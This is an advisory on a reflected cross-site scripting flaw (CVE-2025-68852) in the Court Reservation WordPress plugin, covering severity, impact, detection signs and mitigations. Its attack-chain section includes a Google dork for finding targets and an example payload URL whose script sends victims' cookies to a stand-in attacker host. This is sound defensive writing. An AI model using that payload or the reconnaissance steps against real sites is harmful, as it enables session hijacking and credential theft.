CVE-2025-68852: 
WordPress vulnerability analysis and mitigation

CVE-2025-68852 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Court Reservation WordPress plugin by webmuehle, which allows unauthenticated attackers to inject malicious scripts into web pages viewed by other users. It affects all versions of the plugin up to and including 1.10.11 (also reported as affecting up to 1.11.0). The vulnerability was reported by security researcher Skalucy on November 22, 2025, and published on February 20, 2026. It carries a CVSS v3.1 base score of 7.1 (High/Medium) (Patchstack, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Reflected XSS type. User-supplied input is not properly sanitized or encoded before being reflected back in the HTTP response, allowing an attacker to craft a malicious URL containing JavaScript payloads. Exploitation requires no authentication (Privileges Required: None) but does require user interaction — a victim must click a crafted link or visit a malicious page. No detailed technical write-up or public PoC code has been identified at this time (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement, or delivery of further malware payloads to site visitors. The CVSS scope is marked as Changed, meaning the impact can extend beyond the vulnerable component itself, affecting the confidentiality, integrity, and availability of the broader web application environment (Patchstack).

No confirmed in-the-wild exploitation has been reported for CVE-2025-68852. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. No public PoC exploit code has been identified, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting WordPress plugins at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Court Reservation plugin (versions ≤ 1.11.0) using tools like WPScan, Shodan, or Google dorks (e.g., inurl:/wp-content/plugins/court-reservation).
2. Identify vulnerable parameter: Locate the plugin's front-end pages or endpoints that reflect user-supplied input without sanitization (e.g., search or booking form parameters).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, such as https://target.com/?court_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a victim (e.g., via phishing email, social engineering, or malicious advertisement) and induce them to click it.
5. Achieve objective: When the victim loads the page, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or redirection to attacker-controlled infrastructure (Patchstack).

• Network: HTTP requests to Court Reservation plugin endpoints containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after visiting the site.
• Logs: WordPress or web server access logs showing GET/POST requests to plugin pages with anomalous parameter values containing HTML or JavaScript syntax; repeated requests from varying IPs with similar XSS payload patterns.
• Browser/Client: Unexpected redirects or pop-ups experienced by site visitors; browser console errors related to cross-origin script execution on the Court Reservation plugin pages.

As of the publication date, no official patch from the plugin developer (webmuehle) has been released for versions up to 1.11.0. Patchstack has issued a virtual patching/mitigation rule for its subscribers to block exploitation attempts until an official fix is available. Recommended actions include: (1) Disable or remove the Court Reservation plugin until a patched version is released; (2) Apply Patchstack's virtual patch if using their service; (3) Implement a Web Application Firewall (WAF) rule to block reflected XSS payloads targeting the plugin's endpoints; (4) Monitor for an official plugin update via the WordPress plugin repository (Patchstack).

Patchstack, which credited researcher Skalucy with the discovery, flagged this vulnerability as medium priority and noted it is characteristic of vulnerabilities used in mass WordPress plugin exploit campaigns. The Wordfence Intelligence weekly WordPress vulnerability report for the week of February 2–8, 2026 also referenced this CVE. No significant vendor statements, broader media coverage, or notable social media discussion has been identified beyond these security community reports (Patchstack, Wordfence).